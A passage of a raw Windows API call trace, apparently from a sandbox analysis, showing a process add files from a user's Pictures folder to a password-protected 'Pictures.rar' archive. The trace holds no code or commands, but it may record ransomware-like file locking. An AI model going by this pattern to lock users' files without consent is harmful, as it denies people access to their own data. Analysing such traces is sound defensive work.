SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.212] ResetEvent (hEvent=0x344) returned 1 [0064.212] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.213] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.213] ResetEvent (hEvent=0x344) returned 1 [0064.213] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.215] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.215] GetTickCount () returned 0x25f7b [0064.215] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15554382242) returned 1 [0064.215] GetTickCount () returned 0x25f7b [0064.215] GetTickCount () returned 0x25f7b [0064.215] GetTickCount () returned 0x25f7b [0064.215] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.215] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.215] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.215] ResetEvent (hEvent=0x33c) returned 1 [0064.215] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.216] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.216] ResetEvent (hEvent=0x33c) returned 1 [0064.216] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.217] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.217] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.217] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.217] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x3428d [0064.217] SetFilePointer (in: hFile=0x32c, lDistanceToMove=106, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x342f7 [0064.217] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.217] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.218] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.218] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.218] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xaa20, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xaa20, lpOverlapped=0x0) returned 1 [0064.218] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.218] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.218] SetFilePointer (in: hFile=0x32c, lDistanceToMove=213645, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x3428d [0064.218] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x3428d [0064.218] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc90 [0064.218] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.218] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9570 [0064.219] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0064.219] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f630 [0064.219] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f630, Size=0x48) returned 0x28b084f9ca0 [0064.219] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0064.219] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9570 | out: hHeap=0x28b08430000) returned 1 [0064.219] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0064.219] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0064.219] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0064.219] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0064.219] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc90, Size=0x48) returned 0x28b084f9070 [0064.219] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9070, Size=0x7a) returned 0x28b084ed0a0 [0064.219] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed0a3*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed0a3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x6a, lpOverlapped=0x0) returned 1 [0064.219] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6c0 [0064.219] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x6a) returned 0x28b084fb950 [0064.219] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9ca0 | out: hHeap=0x28b08430000) returned 1 [0064.219] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed0a0 | out: hHeap=0x28b08430000) returned 1 [0064.219] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x3ed17 [0064.219] CloseHandle (hObject=0x350) returned 1 [0064.219] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.219] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.219] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.219] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.219] FindFirstFileW (in: lpFileName="8eYKFrOBbq-TuX.bmp", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee610 [0064.219] FindClose (in: hFindFile=0x28b0c0ee610 | out: hFindFile=0x28b0c0ee610) returned 1 [0064.219] CreateFileW (lpFileName="8eYKFrOBbq-TuX.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\8eykfrobbq-tux.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.219] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.220] GetTickCount () returned 0x25f7b [0064.220] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.220] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.220] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.220] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.220] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="7ZwWGMcIaUjWjMVJAe.jpg") returned 22 [0064.220] SetWindowTextW (hWnd=0x102c6, lpString="8eYKFrOBbq-TuX.bmp") returned 1 [0064.221] GetTickCount () returned 0x25f7b [0064.221] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.221] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.221] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.221] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.221] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x29, wMilliseconds=0x2c6)) [0064.221] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.221] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15554972683) returned 1 [0064.221] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x5114, lpOverlapped=0x0) returned 1 [0064.221] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b711154, nNumberOfBytesToRead=0xfaeec, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b711154*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.221] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0064.221] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0064.221] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9a20 [0064.221] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d7090 [0064.221] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0064.221] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc00, Size=0x48) returned 0x28b084f9a70 [0064.221] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d7090 | out: hHeap=0x28b08430000) returned 1 [0064.221] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9a20 | out: hHeap=0x28b08430000) returned 1 [0064.222] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0064.222] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f870 [0064.222] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f870 | out: hHeap=0x28b08430000) returned 1 [0064.222] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0064.222] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f98e0 [0064.222] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f98e0, Size=0x7a) returned 0x28b084ece60 [0064.222] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9a70 | out: hHeap=0x28b08430000) returned 1 [0064.222] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ece60 | out: hHeap=0x28b08430000) returned 1 [0064.222] GetTickCount () returned 0x25f7b [0064.222] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15555041538) returned 1 [0064.222] GetTickCount () returned 0x25f7b [0064.222] GetTickCount () returned 0x25f7b [0064.222] GetTickCount () returned 0x25f7b [0064.222] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.222] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.222] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.222] ResetEvent (hEvent=0x344) returned 1 [0064.222] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.223] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.223] ResetEvent (hEvent=0x344) returned 1 [0064.223] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.224] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.224] GetTickCount () returned 0x25f7b [0064.224] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15555267540) returned 1 [0064.224] GetTickCount () returned 0x25f7b [0064.224] GetTickCount () returned 0x25f7b [0064.224] GetTickCount () returned 0x25f7b [0064.224] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.224] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.224] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.224] ResetEvent (hEvent=0x33c) returned 1 [0064.224] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.225] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.225] ResetEvent (hEvent=0x33c) returned 1 [0064.225] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.226] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0064.226] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.226] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.226] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x3ed17 [0064.226] SetFilePointer (in: hFile=0x32c, lDistanceToMove=102, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x3ed7d [0064.226] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.226] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.226] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.226] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.226] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x5160, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x5160, lpOverlapped=0x0) returned 1 [0064.227] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.227] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.227] SetFilePointer (in: hFile=0x32c, lDistanceToMove=257303, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x3ed17 [0064.227] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x3ed17 [0064.227] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd80 [0064.227] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc90 [0064.227] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc90, Size=0x48) returned 0x28b084f9bb0 [0064.227] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.227] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.227] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f9de0 [0064.227] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.228] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0064.228] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f990 [0064.228] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f660 [0064.228] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f660 | out: hHeap=0x28b08430000) returned 1 [0064.228] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f990 | out: hHeap=0x28b08430000) returned 1 [0064.228] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd80, Size=0x48) returned 0x28b084f9660 [0064.228] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9660, Size=0x7a) returned 0x28b084ecf80 [0064.228] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ecf83*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ecf83*, lpNumberOfBytesWritten=0xf00f8d8070*=0x66, lpOverlapped=0x0) returned 1 [0064.228] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f810 [0064.228] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x66) returned 0x28b08462a30 [0064.228] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9de0 | out: hHeap=0x28b08430000) returned 1 [0064.228] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecf80 | out: hHeap=0x28b08430000) returned 1 [0064.228] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x43edd [0064.228] CloseHandle (hObject=0x350) returned 1 [0064.228] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.228] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.228] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.228] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.228] FindFirstFileW (in: lpFileName="9BtQRHA1y.gif", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0edef0 [0064.228] FindClose (in: hFindFile=0x28b0c0edef0 | out: hFindFile=0x28b0c0edef0) returned 1 [0064.228] CreateFileW (lpFileName="9BtQRHA1y.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\9btqrha1y.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.228] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.228] GetTickCount () returned 0x25f7b [0064.228] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.229] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.229] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.229] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.229] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="8eYKFrOBbq-TuX.bmp") returned 18 [0064.229] SetWindowTextW (hWnd=0x102c6, lpString="9BtQRHA1y.gif") returned 1 [0064.230] GetTickCount () returned 0x25f8b [0064.230] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.230] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.230] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.230] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.230] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x29, wMilliseconds=0x2d5)) [0064.230] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.230] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15555881697) returned 1 [0064.230] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xa5af, lpOverlapped=0x0) returned 1 [0064.230] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b7165ef, nNumberOfBytesToRead=0xf5a51, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b7165ef*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.230] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.230] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.231] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f840 [0064.231] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.231] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f9660 [0064.231] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0064.231] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0064.231] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd50, Size=0x48) returned 0x28b084f98e0 [0064.231] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0064.231] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9660 | out: hHeap=0x28b08430000) returned 1 [0064.231] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0064.231] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd50 [0064.231] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd50 | out: hHeap=0x28b08430000) returned 1 [0064.231] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fdb0 | out: hHeap=0x28b08430000) returned 1 [0064.231] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f840, Size=0x48) returned 0x28b084f9430 [0064.231] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ed7f0 [0064.231] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0064.231] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed7f0 | out: hHeap=0x28b08430000) returned 1 [0064.231] GetTickCount () returned 0x25f8b [0064.231] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15555982959) returned 1 [0064.231] GetTickCount () returned 0x25f8b [0064.231] GetTickCount () returned 0x25f8b [0064.231] GetTickCount () returned 0x25f8b [0064.231] PeekMessageW (in: lpMsg=0xf00f8dd5b0, 